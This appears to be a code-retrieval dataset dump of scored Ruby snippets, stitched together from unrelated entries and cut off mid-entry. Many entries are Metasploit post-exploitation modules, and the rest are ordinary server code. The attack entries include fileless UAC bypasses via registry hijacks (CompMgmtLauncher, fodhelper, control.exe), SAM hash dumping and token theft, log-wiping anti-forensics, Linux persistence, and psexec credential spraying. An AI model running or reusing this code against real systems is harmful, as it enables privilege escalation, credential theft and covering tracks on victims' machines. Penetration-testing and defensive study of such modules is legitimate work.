"text": "def run\n session = client\n\n\n # Variable declarations (msf API calls)\n oscheck = client.fs.file.expand_path(\"%OS%\")\n sysnfo = session.sys.config.sysinfo\n runtor = client.sys.config.getuid\n runsession = client.session_host\n directory = client.fs.dir.pwd\n\n # Print banner and scan results on screen\n print_line(\" +-----------------------------------------+\")\n print_line(\" | * Vault7_CIA_debugger_hijack * |\")\n print_line(\" | Author: Pedro Ubuntu [ r00t-3xp10it ] |\")\n print_line(\" +-----------------------------------------+\")\n print_line(\"\")\n print_line(\" Running on session : #{datastore['SESSION']}\")\n print_line(\" Computer : #{sysnfo['Computer']}\")\n print_line(\" Operative System : #{sysnfo['OS']}\")\n print_line(\" Target IP addr : #{runsession}\")\n print_line(\" Payload directory : #{directory}\")\n print_line(\" Client UID : #{runtor}\")\n print_line(\"\")\n print_line(\"\")\n\n\n #\n # the 'def check()' funtion that rapid7 requires to accept new modules.\n # Guidelines for Accepting Modules and Enhancements:https://goo.gl/OQ6HEE\n #\n # check for proper operative system (windows-not-wine)\n if not oscheck == \"Windows_NT\"\n print_error(\"[ ABORT ]: This module only works againts windows systems\")\n return nil\n end\n # check for proper session (meterpreter)\n # the non-return of sysinfo command reveals\n # that we are not on a meterpreter session!\n if not sysinfo.nil?\n print_status(\"Running module against: #{sysnfo['Computer']}\")\n else\n print_error(\"[ ABORT ]: This module only works against meterpreter sessions!\")\n return nil\n end\n # elevate session privileges befor runing options\n client.sys.config.getprivs.each do |priv|\n end\n\n\n# ------------------------\n# Selected settings to run\n# ------------------------\n if datastore['EXEC']\n hijack_funtion\n end\n\n if datastore['REVERT_HIJACK']\n revert_hijack\n end\n end",
"title": ""
},
{
"docid": "bfdd71fc1d20ab9ae91a1776ff60d7b4",
"score": "0.5412852",
"text": "def run\r\n exec_comm = datastore['EXEC_COMMAND']\r\n session = client\r\n\r\n\r\n # Variable declarations (msf API calls)\r\n oscheck = client.fs.file.expand_path(\"%OS%\")\r\n sysnfo = session.sys.config.sysinfo\r\n runtor = client.sys.config.getuid\r\n runsession = client.session_host\r\n directory = client.fs.dir.pwd\r\n\r\n # Print banner and scan results on screen\r\n print_line(\" +----------------------------------------------+\")\r\n print_line(\" | CompMgmtLauncher FileLess UAC BYPASS |\")\r\n print_line(\" | Author: Chaitanya Haritash |\")\r\n print_line(\" +----------------------------------------------+\")\r\n print_line(\"\")\r\n print_line(\" Running on session : #{datastore['SESSION']}\")\r\n print_line(\" Computer : #{sysnfo['Computer']}\")\r\n print_line(\" Operative System : #{sysnfo['OS']}\")\r\n print_line(\" Target IP addr : #{runsession}\")\r\n print_line(\" Payload directory : #{directory}\")\r\n print_line(\" Client UID : #{runtor}\")\r\n\r\n\r\n #\r\n # the 'def check()' funtion that rapid7 requires to accept new modules.\r\n # Guidelines for Accepting Modules and Enhancements:https://goo.gl/OQ6HEE\r\n #\r\n # check for proper operative system (windows-not-wine)\r\n if not oscheck == \"Windows_NT\"\r\n print_error(\"[ ABORT ]: This module only works againts windows systems\")\r\n return nil\r\n end\r\n # check for proper session (meterpreter)\r\n # the non-return of sysinfo command reveals\r\n # that we are not on a meterpreter session!\r\n if not sysinfo.nil?\r\n print_status(\"Running module against: #{sysnfo['Computer']}\")\r\n else\r\n print_error(\"[ ABORT ]: This module only works against meterpreter sessions!\")\r\n return nil\r\n end\r\n # elevate session privileges befor runing options\r\n client.sys.config.getprivs.each do |priv|\r\n end\r\n reg_key = \"reg add HKCU\\\\Software\\\\Classes\\\\mscfile\\\\shell\\\\open\\\\command /ve /t REG_SZ /d \\\"#{exec_comm}\\\" /f\"\r\n print_status(\"Placing Registery Key ...\")\r\n #session.sys.process.execute(\"cmd.exe /c #{reg_key}\", nil, {'Hidden' => true, 'Channelized' => true})\r\n r = session.sys.process.execute(\"cmd.exe /c #{reg_key}\", nil, {'Hidden' => true, 'Channelized' => true})\r\n Rex::sleep(2.0)\r\n while(d = r.channel.read)\r\n print_line(\"\\n #{d}\")\r\n end\r\n r.channel.close\r\n r.close\r\n #s = session.sys.process.execute(\"cmd.exe /c CompMgmtLauncher\", nil, {'Hidden' => true, 'Channelized' => true})\r\n #Rex::sleep(2.0)\r\n #while(v = s.channel.read)\r\n # print_line(\"\\n #{d}\")\r\n #end\r\n #s.channel.close\r\n #s.close\r\n end",
"title": ""
},
{
"docid": "0181528af13214bd7b88e7ee950310d1",
"score": "0.54004633",
"text": "def run_locally=(_arg0); end",
"title": ""
},
{
"docid": "67e91033ecd00fa80fbea3edd2c3ce56",
"score": "0.53891444",
"text": "def server_name=(_arg0); end",
"title": ""
},
{
"docid": "67e91033ecd00fa80fbea3edd2c3ce56",
"score": "0.53891444",
"text": "def server_name=(_arg0); end",
"title": ""
},
{
"docid": "4b63ca760f6a7bb3eaedc1aba61f3800",
"score": "0.53307176",
"text": "def run\n\t\tprint_status(\"Running module against #{sysinfo['Computer']}\")\n\t\tserver = client.sys.process.open\n\n\t\tprint_status(\"Current server process: #{server.name} (#{server.pid})\")\n\n\t\ttarget_pid = nil\n\n\t\tif ! datastore['SPAWN']\n\t\t\t# Get the target process name\n\t\t\tif datastore['NAME'] =~ /\\.exe/\n\t\t\t\ttarget = datastore['NAME']\n\t\t\telse\n\t\t\t\ttarget = \"explorer.exe\"\n\t\t\tend\n\t\t\tprint_status(\"Migrating to #{target}...\")\n\n\t\t\t# Get the target process pid\n\t\t\ttarget_pid = client.sys.process[target]\n\n\t\t\tif not target_pid\n\t\t\t\tprint_error(\"Could not access the target process\")\n\t\t\t\tprint_status(\"Spawning a notepad.exe host process...\")\n\t\t\t\tnote = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })\n\t\t\t\ttarget_pid = note.pid\n\t\t\tend\n\t\telse\n\t\t\tif datastore['NAME'] =~ /\\.exe/\n\t\t\t\ttarget = datastore['NAME']\n\t\t\telse\n\t\t\t\ttarget = \"notepad.exe\"\n\t\t\tend\n\t\t\tprint_status(\"Spawning a #{target} host process...\")\n\t\t\tnewproc = client.sys.process.execute(target, nil, {'Hidden' => true })\n\t\t\ttarget_pid = newproc.pid\n\t\t\tif not target_pid\n\t\t\t\tprint_error(\"Could not create a process around #{target}\")\n\t\t\t\traise Rex::Script::Completed\n\t\t\tend\n\t\tend\n\n\t\t# Do the migration\n\t\tprint_status(\"Migrating into process ID #{target_pid}\")\n\t\tclient.core.migrate(target_pid)\n\t\tserver = client.sys.process.open\n\t\tprint_status(\"New server process: #{server.name} (#{server.pid})\")\n\n\tend",
"title": ""
},
{
"docid": "7b2b93cda1fc624ce8237a1140dec11b",
"score": "0.53275365",
"text": "def start_server\n ::FunctionsFramework.logger.level = @logging_level\n ::FunctionsFramework.logger.info \"FunctionsFramework v#{VERSION} server starting.\"\n ::ENV[\"FUNCTION_TARGET\"] = @target\n ::ENV[\"FUNCTION_SOURCE\"] = @source\n ::ENV[\"FUNCTION_SIGNATURE_TYPE\"] = @signature_type\n ::FunctionsFramework.logger.info \"FunctionsFramework: Loading functions from #{@source.inspect}...\"\n load @source\n function = ::FunctionsFramework.global_registry[@target]\n raise \"Undefined function: #{@target.inspect}\" if function.nil?\n unless @signature_type.nil? ||\n @signature_type == \"http\" && function.type == :http ||\n [\"cloudevent\", \"event\"].include?(@signature_type) && function.type == :cloud_event\n raise \"Function #{@target.inspect} does not match type #{@signature_type}\"\n end\n ::FunctionsFramework.start function do |config|\n config.rack_env = @env\n config.port = @port\n config.bind_addr = @bind\n config.show_error_details = @detailed_errors\n config.min_threads = @min_threads\n config.max_threads = @max_threads\n end\n end",
"title": ""
},
{
"docid": "c79262d971df186e59778d5aca8642fa",
"score": "0.5286019",
"text": "def fdw_create_server(_server_name)\n must_be_defined_in_derived_class\n end",
"title": ""
},
{
"docid": "956bc47a6eb51b9351427276439f82af",
"score": "0.5284496",
"text": "def run_locally; end",
"title": ""
},
{
"docid": "b5a1930df9be23ae003e3f3f57909f91",
"score": "0.52823466",
"text": "def run\n print_status(\"Running module against #{sysinfo['Computer']}\")\n # Collect even without a database to store them.\n if session.framework.db.active\n db_ok = true\n else\n db_ok = false\n end\n\n # Make sure we're rockin Priv and Incognito\n session.core.use(\"priv\") if not session.priv\n session.core.use(\"incognito\") if not session.incognito\n\n # It wasn't me mom! Stinko did it!\n begin\n hashes = client.priv.sam_hashes\n rescue\n print_error('Error accessing hashes, did you migrate to a process that matched the target\\'s architecture?')\n return\n end\n\n # Target infos for the db record\n addr = session.session_host\n # client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive)\n\n # Record hashes to the running db instance\n print_good \"Collecting hashes...\"\n\n hashes.each do |hash|\n # Build service information\n service_data = {\n address: addr,\n port: 445,\n service_name: 'smb',\n protocol: 'tcp',\n }\n\n # Build credential information\n credential_data = {\n origin_type: :session,\n session_id: session_db_id,\n post_reference_name: self.refname,\n private_type: :ntlm_hash,\n private_data: hash.lanman + \":\" + hash.ntlm,\n username: hash.user_name,\n workspace_id: myworkspace_id\n }\n\n credential_data.merge!(service_data)\n credential_core = create_credential(credential_data)\n\n # Assemble the options hash for creating the Metasploit::Credential::Login object\n login_data = {\n core: credential_core,\n status: Metasploit::Model::Login::Status::UNTRIED,\n workspace_id: myworkspace_id\n }\n\n login_data.merge!(service_data)\n create_credential_login(login_data)\n\n print_line \" Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}\"\n end\n\n # Record user tokens\n tokens = session.incognito.incognito_list_tokens(0)\n raise Rex::Script::Completed if not tokens\n\n # Meh, tokens come to us as a formatted string\n print_good \"Collecting tokens...\"\n (tokens[\"delegation\"] + tokens[\"impersonation\"]).split(\"\\n\").each do |token|\n data = {}\n data[:host] = addr\n data[:type] = 'smb_token'\n data[:data] = token\n data[:update] = :unique_data\n\n print_line \" #{data[:data]}\"\n report_note(data) if db_ok\n end\n end",
"title": ""
},
{
"docid": "394c083ef55c1f41cd128a0e7f2be118",
"score": "0.5269923",
"text": "def run\n session = client\n\n # Variable declarations (msf API calls)\n oscheck = client.fs.file.expand_path(\"%OS%\")\n sysnfo = session.sys.config.sysinfo\n runtor = client.sys.config.getuid\n runsession = client.session_host\n directory = client.fs.dir.pwd\n\n\n\n # Print banner and scan results on screen\n print_line(\" +----------------------------------------------+\")\n print_line(\" | enigma fileless UAC bypass command execution |\")\n print_line(\" | Author : r00t-3xp10it |\")\n print_line(\" +----------------------------------------------+\")\n print_line(\"\")\n print_line(\" Running on session : #{datastore['SESSION']}\")\n print_line(\" Computer : #{sysnfo['Computer']}\")\n print_line(\" Operative System : #{sysnfo['OS']}\")\n print_line(\" Target IP addr : #{runsession}\")\n print_line(\" Payload directory : #{directory}\")\n print_line(\" Client UID : #{runtor}\")\n print_line(\"\")\n print_line(\"\")\n\n\n #\n # the 'def check()' funtion that rapid7 requires to accept new modules.\n # Guidelines for Accepting Modules and Enhancements:https://goo.gl/OQ6HEE\n #\n # check for proper operative system (windows-not-wine)\n if not oscheck == \"Windows_NT\"\n print_error(\"[ ABORT ]: This module only works againts windows systems\")\n return nil\n end\n # check for proper session (meterpreter)\n # the non-return of sysinfo command reveals\n # that we are not on a meterpreter session!\n if not sysinfo.nil?\n print_status(\"Running module against: #{sysnfo['Computer']}\")\n else\n print_error(\"[ ABORT ]: This module only works against meterpreter sessions!\")\n return nil\n end\n # elevate session privileges befor runing options\n client.sys.config.getprivs.each do |priv|\n end\n\n\n# ------------------------------------\n# Selected settings to run\n# ------------------------------------\n if datastore['EXEC_COMMAND']\n ls_stage1\n end\n\n if datastore['DEL_REGKEY']\n ls_stage2\n end\n\n if datastore['CHECK_VULN']\n ls_stage3\n end\n end",
"title": ""
},
{
"docid": "bb8770ffec34fc1e917c9b7025504ef9",
"score": "0.525729",
"text": "def fdw_drop_usermaps(server_name)\n execute_as_superuser fdw_drop_usermap_sql(server_name, 'postgres')\n execute_as_superuser fdw_drop_usermap_sql(server_name, @connector_context.database_username)\n end",
"title": ""
},
{
"docid": "5c29e425ab2ac7d93c17d5b3fdca1d0c",
"score": "0.52397084",
"text": "def add_user_machine_mapping\n index = Time.now.to_i\n system(\"mozybfstcli user add -v -u test#{index}@test.com -f test#{index}\")\n system(\"mozybfstcli machine add -v -e test#{index}@test.com -a machine#{index}\")\n end",
"title": ""
},
{
"docid": "b1c712febe85c2648cba6a4b1506c848",
"score": "0.52372766",
"text": "def run\n session = client\n\n # Variable declarations (msf API calls)\n oscheck = client.fs.file.expand_path(\"%OS%\")\n sysnfo = session.sys.config.sysinfo\n runtor = client.sys.config.getuid\n runsession = client.session_host\n directory = client.fs.dir.pwd\n\n\n # Print banner and scan results on screen\n print_line(\" +----------------------------------------------+\")\n print_line(\" | enigma fileless UAC bypass 'fodhelper.exe' |\")\n print_line(\" | Author : r00t-3xp10it |\")\n print_line(\" +----------------------------------------------+\")\n print_line(\"\")\n print_line(\" Running on session : #{datastore['SESSION']}\")\n print_line(\" Computer : #{sysnfo['Computer']}\")\n print_line(\" Operative System : #{sysnfo['OS']}\")\n print_line(\" Target IP addr : #{runsession}\")\n print_line(\" Payload directory : #{directory}\")\n print_line(\" Client UID : #{runtor}\")\n print_line(\"\")\n print_line(\"\")\n\n\n #\n # the 'def check()' funtion that rapid7 requires to accept new modules.\n # Guidelines for Accepting Modules and Enhancements:https://goo.gl/OQ6HEE\n #\n # check for proper operative system (windows-not-wine)\n if not oscheck == \"Windows_NT\"\n print_error(\"[ ABORT ]: This module only works againts windows systems\")\n return nil\n end\n #\n # check for proper operative system (windows 10)\n #\n if not sysinfo['OS'] =~ /Windows 10/\n print_error(\"[ ABORT ]: This module only works againt windows 10 systems\")\n return nil\n end\n #\n # check for proper session (meterpreter) the non-return of sysinfo command\n # reveals that we are not on a meterpreter session!\n #\n if not sysinfo.nil?\n print_status(\"Running module against: #{sysnfo['Computer']}\")\n else\n print_error(\"[ ABORT ]: This module only works in meterpreter sessions!\")\n return nil\n end\n #\n # elevate session privileges befor runing options\n #\n client.sys.config.getprivs.each do |priv|\n end\n\n\n#\n# Selected settings to run\n#\n if datastore['EXEC_COMMAND']\n ls_stage1\n end\n\n if datastore['DEL_REGKEY']\n ls_stage2\n end\n\n if datastore['CHECK_VULN']\n ls_stage3\n end\n end",
"title": ""
},
{
"docid": "3cecbdd4c7f9051e6473b7f4dc3a8695",
"score": "0.5203403",
"text": "def server=(_arg0); end",
"title": ""
},
{
"docid": "1f5b75fbfc1b0162afd287029c3ec674",
"score": "0.51644933",
"text": "def set_server(host, port, user = nil, doas = nil, proxy_address = nil,\n proxy_port = nil)\n @fu_host = host\n @fu_port = port\n @fu_user = user\n @fu_doas = doas\n @fu_paddr = proxy_address\n @fu_pport = proxy_port\n end",
"title": ""
},
{
"docid": "1b332df71c97ef96eec7dce1f92ff274",
"score": "0.5151236",
"text": "def allow_localhost=(_arg0); end",
"title": ""
},
{
"docid": "1b332df71c97ef96eec7dce1f92ff274",
"score": "0.5151236",
"text": "def allow_localhost=(_arg0); end",
"title": ""
},
{
"docid": "a0dfea399fe0be7d3ca7fac78ab7e151",
"score": "0.5131551",
"text": "def login host_name\n LoginProcess.new( host_name, @debug_options ).run\n end",
"title": ""
},
{
"docid": "c4858b10e90d79280dd365a5a27f8350",
"score": "0.51222354",
"text": "def run(code)\n\t\t\tserver.run code\n\t\tend",
"title": ""
},
{
"docid": "d226ddb193dfbebc7e635debbca3f693",
"score": "0.511137",
"text": "def run\n session = client\n\n # Variable declarations (msf API calls)\n oscheck = client.fs.file.expand_path(\"%OS%\")\n sysnfo = session.sys.config.sysinfo\n runtor = client.sys.config.getuid\n runsession = client.session_host\n directory = client.fs.dir.pwd\n\n\n # Print banner and scan results on screen\n print_line(\" +----------------------------------------------+\")\n print_line(\" | enigma fileless UAC bypass 'control.exe' |\")\n print_line(\" | Author : r00t-3xp10it |\")\n print_line(\" +----------------------------------------------+\")\n print_line(\"\")\n print_line(\" Running on session : #{datastore['SESSION']}\")\n print_line(\" Computer : #{sysnfo['Computer']}\")\n print_line(\" Operative System : #{sysnfo['OS']}\")\n print_line(\" Target IP addr : #{runsession}\")\n print_line(\" Payload directory : #{directory}\")\n print_line(\" Client UID : #{runtor}\")\n print_line(\"\")\n print_line(\"\")\n\n\n #\n # the 'def check()' funtion that rapid7 requires to accept new modules.\n # Guidelines for Accepting Modules and Enhancements:https://goo.gl/OQ6HEE\n #\n # check for proper operating system (windows-not-wine)\n if not oscheck == \"Windows_NT\"\n print_error(\"[ ABORT ]: This module only works againts windows systems\")\n return nil\n end\n #\n # check for proper operating system (windows 10)\n #\n if not sysinfo['OS'] =~ /Windows 10/\n print_error(\"[ ABORT ]: This module only works againt windows 10 systems\")\n return nil\n end\n #\n # check for correct version build\n #\n if not sysinfo['OS'] =~ /(Build 15031)/\n print_error(\"[ ABORT ]: This module only works againt Build 15031\")\n return nil\n end\n #\n # check for proper session (meterpreter) the non-return of sysinfo\n # command reveals that we are not on a meterpreter session ..\n #\n if not sysinfo.nil?\n print_status(\"Running module against: #{sysnfo['Computer']}\")\n else\n print_error(\"[ ABORT ]: This module only works in meterpreter sessions!\")\n return nil\n end\n # elevate session privileges befor runing options\n client.sys.config.getprivs.each do |priv|\n end\n\n\n\n#\n# Selected settings to run\n#\n if datastore['DEPLOY_PATH']\n ls_hijack\n end\n\n if datastore['DEL_REGKEY']\n ls_clean\n end\n\n if datastore['CHECK_VULN']\n ls_vulncheck\n end\n end",
"title": ""
},
{
"docid": "d57e78d38871f88bd234a0f4f73d6ab8",
"score": "0.5100753",
"text": "def run_script(friendly_name, server, options = nil)\n run_script_on_set(friendly_name, server, true, options)\n end",
"title": ""
},
{
"docid": "7bb469f7e650e18e9b41371202a0a27f",
"score": "0.50645936",
"text": "def register_server(name, &block); end",
"title": ""
},
{
"docid": "4749668d1e025ad3a1c7e8c2c4704021",
"score": "0.5047435",
"text": "def set_project_mapping(pool_name,project_name,initiator_group_name,target_group_name,read_only)\n api_instance = IFClient::SANApi.new\n create_mapping_for_project_param = IFClient::CreateMappingForProjectParam.new\n create_mapping_for_project_param.arg0_dataset_path = \"#{pool_name}/Local/#{project_name}\"\n create_mapping_for_project_param.arg1_initiator_group_name = initiator_group_name\n create_mapping_for_project_param.arg2_target_group_name = target_group_name\n create_mapping_for_project_param.arg3_read_only = read_only\n begin\n ##Create a project level default mapping\n result = api_instance.create_mapping_for_project_post(create_mapping_for_project_param)\n puts result.inspect\n rescue IFClient::ApiError => e\n error = JSON.parse(\"#{e.response_body}\")\n puts \"Exception when calling TegileApi: #{error[\"message\"]}\"\n end \nend",
"title": ""
},
{
"docid": "1bc02e3de32c2c63891e67f7fe9c5b51",
"score": "0.50472045",
"text": "def site_login_using_server_name(server, username, password)\n $tracer.trace(\"GameStopDSL: #{__method__}, Line: #{__LINE__}\")\n $tracer.report(\"Should #{__method__}.\")\n cookie.all.delete\n open(server)\n wait_for_landing_page_load\n #ip = server_ip_address\n #$tracer.trace(\"Server: \" + server)\n #$tracer.trace(\"IP: \" + ip)\n\n log_in_link.click\n ensure_header_loaded\n log_in(username, password)\n log_out\n end",
"title": ""
},
{
"docid": "f7188777225a8d5a6e904d01abd85d39",
"score": "0.501019",
"text": "def run\n session = client\n # Check for proper target Platform\n unsupported if client.platform !~ /win32|win64/i\n\n # Variable declarations (msf API calls)\n sysnfo = session.sys.config.sysinfo\n runtor = client.sys.config.getuid\n runtime = client.ui.idle_time\n rport = client.session_port\n runsession = client.session_host\n directory = client.fs.dir.pwd\n hpat = client.fs.file.expand_path(\"%HOMEPATH%\")\n syhd = client.fs.file.expand_path(\"%SYSTEMDRIVE%\")\n prOc = client.sys.process.getpid\n\n\n # Print banner and scan results on screen\n print_line(\" +--------------------------------------------+\")\n print_line(\" | * CleanTracks - Anti-forensic * |\")\n print_line(\" | Author: Pedro Ubuntu [ r00t-3xp10it ] |\")\n print_line(\" | --- |\")\n print_line(\" | Cover your footprints in target system by |\")\n print_line(\" | deleting prefetch, cache, event logs, lnk |\")\n print_line(\" | tmp, dat, MRU, shellbangs, recent, etc. |\")\n print_line(\" +--------------------------------------------+\")\n print_line(\"\")\n print_line(\" Running on session : #{datastore['SESSION']}\")\n print_line(\" Computer : #{sysnfo['Computer']}\")\n print_line(\" Operative System : #{sysnfo['OS']}\")\n print_line(\" Target UID : #{runtor}\")\n print_line(\" Target IP addr : #{runsession}\")\n print_line(\" Target Session Port : #{rport}\")\n print_line(\" Target idle time : #{runtime}\")\n print_line(\" Target Home dir : #{hpat}\")\n print_line(\" Target System Drive : #{syhd}\")\n print_line(\" Target Payload dir : #{directory}\")\n print_line(\" Target Payload PID : #{prOc}\")\n print_line(\"\")\n print_line(\"\")\n\n\n # check for proper session.\n if not sysinfo.nil?\n print_status(\"Running module against: #{sysnfo['Computer']}\")\n else\n print_error(\"ABORT]:This post-module only works in meterpreter sessions\")\n raise Rex::Script::Completed\n end\n\n\n# ------------------------------------\n# Selected settings to run\n# ------------------------------------\n if datastore['GET_SYS']\n ls_getsys\n end\n\n if datastore['PREVENT']\n ls_stage1\n end\n\n if datastore['CLEANER']\n ls_stage2\n end\n\n if datastore['DIR_MACE']\n ls_mace\n end\n\n if datastore['REVERT']\n ls_revert\n end\n\n if datastore['DEL_LOGS']\n ls_clear\n end\n\n if datastore['PANIC']\n ls_panic\n end\n \n if datastore['LOGOFF']\n ls_logoff\n end\n end",
"title": ""
},
{
"docid": "11358b2644d4afda509c65f1f4e9a0e0",
"score": "0.50094354",
"text": "def run_drb_server(host)\n unless host.controller.blank?\n case host.sh(\"cd #{host.dir};ruby #{host.controller} start -- #{host.machine} #{host.port}\")\n when /command not found/\n raise EnvironmentError.new \"Ruby is not installed on #{host.name}\"\n end\n end\n end",
"title": ""
},
{
"docid": "5dadbb6947d067d04d2a918f8d6a93af",
"score": "0.49928814",
"text": "def run\n print_status(\"Running module against #{sysinfo['Computer']}\")\n\n server = session.sys.process.open\n original_pid = server.pid\n print_status(\"Current server process: #{server.name} (#{server.pid})\")\n\n target_pid = nil\n\n if datastore['SPAWN'] and datastore['SPAWN'] != \"\"\n target_pid = create_temp_proc\n elsif datastore['PID'] and datastore['PID'] != 0\n target_pid = datastore['PID']\n elsif datastore['NAME'] and datastore['NAME'] != \"\"\n target_pid = session.sys.process[datastore['NAME']]\n end\n\n if not target_pid or not has_pid?(target_pid)\n print_error(\"Process #{target_pid} not found\")\n return\n end\n\n begin\n print_status(\"Migrating into #{target_pid}\")\n session.core.migrate(target_pid)\n print_good(\"Successfully migrated into process #{target_pid}\")\n rescue ::Exception => e\n print_error(\"Could not migrate into process\")\n print_error(\"Exception: #{e.class} : #{e}\")\n end\n\n if datastore['KILL']\n print_status(\"Killing original process with PID #{original_pid}\")\n if has_pid?(original_pid)\n session.sys.process.kill(original_pid)\n print_good(\"Successfully killed process with PID #{original_pid}\")\n else\n print_warning(\"PID #{original_pid} exited on its own\")\n end\n end\n end",
"title": ""
},
{
"docid": "3fdf770b40fbaa32eb4b510f24182fdc",
"score": "0.49824005",
"text": "def add_login_to_db(host, username, database)\n code = <<EOH\n[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.SqlServer.Smo')\n$server = New-Object('Microsoft.SqlServer.Management.Smo.Server') #{host}\n$uname = '#{username}'\n$db = $server.Databases.Item('#{database}')\n$login = $server.Logins.Item($uname)\nif ($db -ne $NULL -and $login -ne $NULL)\n{\n $user = $db.Users.Item($uname)\n if ($user -eq $NULL)\n {\n $user = New-Object ('Microsoft.SqlServer.Management.Smo.User') ($db, $uname)\n $user.Login = $uname\n $user.Create()\n }\n}\nEOH\n powershell_out!(code)\n end",
"title": ""
},
{
"docid": "190df6e8073f8fadf65114f40ce31f3c",
"score": "0.4980867",
"text": "def start_server\n function = load_function\n ::FunctionsFramework.logger.info \"FunctionsFramework: Starting server...\"\n ::FunctionsFramework.start function do |config|\n config.rack_env = @env\n config.port = @port\n config.bind_addr = @bind\n config.show_error_details = @detailed_errors\n config.min_threads = @min_threads\n config.max_threads = @max_threads\n end\n end",
"title": ""
},
{
"docid": "7595016220326442464ecf284feb4327",
"score": "0.49611157",
"text": "def configure_process_name(app_file)\n debug_say('Configuring process name')\n $0 = \"rpc_server --#{mode} #{options.host}:#{options.port} #{app_file}\"\n end",
"title": ""
},
{
"docid": "6509d7507a5a6592203010c650ec459d",
"score": "0.49290282",
"text": "def launch_script(friendly_name, server, options = nil)\n raise \"No script registered with friendly_name #{friendly_name} for server #{server.inspect}\" unless script_to_run?(friendly_name, server)\n transaction { server.run_executable(@scripts_to_run[resource_id(server.server_template_href)][friendly_name], options) }\n end",
"title": ""
},
{
"docid": "96ec657e09d4f507ab47a195200013cb",
"score": "0.49210376",
"text": "def run!\n begin\n PostgresqlPreflightValidator.new(node).run!\n rescue PreflightValidationFailed => e\n # use of exit! prevents exit handlers from running, ensuring the last thing\n # the customer sees is the descriptive error we've provided.\n Chef::Log.fatal(\"\\n\\n#{LINE_SEP}\\n#{e.message}#{LINE_SEP}\")\n exit! 128\n end\n end",
"title": ""
},
{
"docid": "d46c5de5b69a81cb8a5f0ecf92bb7474",
"score": "0.48938262",
"text": "def run\n super\n\n entity_name = _get_entity_name\n entity_type = _get_entity_type_string\n\n api_key =_get_task_config(\"greynoise_api_key\")\n\n headers = { \"Accept\" => \"application/json\" , \"Key\" => \"#{api_key}\" }\n\n unless api_key or username\n _log_error \"unable to proceed, no API key for Greynoise provided!\"\n return\n end\n \n if entity_type == \"IpAddress\"\n search_greynoise entity_name, headers\n else\n _log_error \"Unsupported entity type\"\n end\n\n end",
"title": ""
},
{
"docid": "0c8a26f63f3751df2d80ce0c6b084229",
"score": "0.4879595",
"text": "def perform(server)\n raise \"please implement this method to call back upon `server`\"\n end",
"title": ""
},
{
"docid": "1880674449ca90de36c5f25d73beb274",
"score": "0.48739517",
"text": "def run\n session = client\n\n # Variable declarations (msf API calls)\n sysnfo = session.sys.config.sysinfo\n runtor = client.sys.config.getuid\n runsession = client.session_host\n directory = client.fs.dir.pwd\n\n # Print banner and scan results on screen\n print_line(\" +-------------------------------------------+\")\n print_line(\" | Linux persistence [post-exploitation] |\")\n print_line(\" | Author : r00t-3xp10it |\")\n print_line(\" +-------------------------------------------+\")\n print_line(\"\")\n print_line(\" Running on session : #{datastore['SESSION']}\")\n print_line(\" Target Architecture : #{sysnfo['Architecture']}\")\n print_line(\" Computer : #{sysnfo['Computer']}\")\n print_line(\" Target IP addr : #{runsession}\")\n print_line(\" Operative System : #{sysnfo['OS']}\")\n print_line(\" Payload directory : #{directory}\")\n print_line(\" Client UID : #{runtor}\")\n print_line(\"\")\n print_line(\"\")\n\n\n #\n # check for proper operative system (Linux)\n #\n unless sysinfo['OS'] =~ /Linux/ || sysinfo['OS'] =~ /linux/\n print_error(\"[ABORT]: This module only works againt Linux systems\")\n return nil\n end\n #\n # Check if we are running in an higth integrity context (root)\n #\n unless runtor =~ /uid=0/ || runtor =~ /root/\n print_error(\"[ABORT]: Root access is required in non-Kali distros ..\")\n return nil\n end\n #\n # check for proper session (meterpreter)\n # the non-return of sysinfo command reveals that we are not on a meterpreter session!\n #\n unless sysinfo.nil? || sysinfo == ''\n print_good(\"Running module against: #{sysnfo['Computer']}\")\n else\n print_error(\"[ABORT]: This module only works in meterpreter sessions!\")\n return nil\n end\n\n\n# --------------------------------------------\n# Selected settings to run\n# --------------------------------------------\n\n if datastore['REMOTE_PATH'] && datastore['DEL_PERSISTENCE'] == false\n # jump to persistence exploit function\n ls_stage1\n end\n\n if datastore['DEL_PERSISTENCE'] == true\n # jump to delete persistence function\n ls_stage2\n end\n\n if datastore['SINGLE_COM']\n ls_stage3\n end\n end",
"title": ""
},
{
"docid": "8b857ba1b9567253bdd6ba02d2d34cff",
"score": "0.4872026",
"text": "def script(&block)\n\n Net::SSH.start(@host, @user) do |ssh|\n session = create_session(ssh)\n DslProxy.exec(session, &block)\n end\n end",
"title": ""
},
{
"docid": "5648f56897450fb65ecf0feaca80acf3",
"score": "0.48688236",
"text": "def run_host(ip)\n\t\tif check_port(ip)\n\t\t\tif datastore['TYPE'] == \"manual\"\n\t\t\t\tif not datastore['SMBUser'].nil? and not datastore['SMBPass'].nil?\n\t\t\t\t\tuser = datastore['SMBUser']\n\t\t\t\t\tpass = datastore['SMBPass']\n\t\t\t\t\tdom = datastore['SMBDomain']\n\t\t\t\t\tpayload = datastore['PAYLOAD']\n\t\t\t\t\tcustexe = datastore['EXE::Custom']\n\t\t\t\t\tprint_status(\"Trying #{user}:#{pass}\")\n\t\t\t\t\tpsexec(ip,user,pass,dom,payload,custexe)\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\telse\n\t\t\t\[email protected] do |c|\n\t\t\t\t\tuser,pass = c.split(\" \")\n\t\t\t\t\tdom = datastore['SMBDomain']\n\t\t\t\t\tpayload = datastore['PAYLOAD']\n\t\t\t\t\tcustexe = datastore['EXE::Custom']\n\t\t\t\t\tprint_status(\"Trying #{user}:#{pass}\")\n\t\t\t\t\tpsexec(ip,user,pass,dom,payload,custexe)\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\treturn\n\t\tend\n\tend",
"title": ""
},
{
"docid": "7fc23cfc051e292bef2c10784df3621a",
"score": "0.48671573",
"text": "def setup_server!\n # ???\n self\n end",
"title": ""
},
{
"docid": "444c16f7baa7b5b52d830b665113edcd",
"score": "0.48624983",
"text": "def execute(args)\n if args.size == 1\n case args.first\n when \"start\"\n start_server\n end\n end\n end",
"title": ""
},
{
"docid": "2de92747417d90e81f5e9752c7b4822d",
"score": "0.48611003",
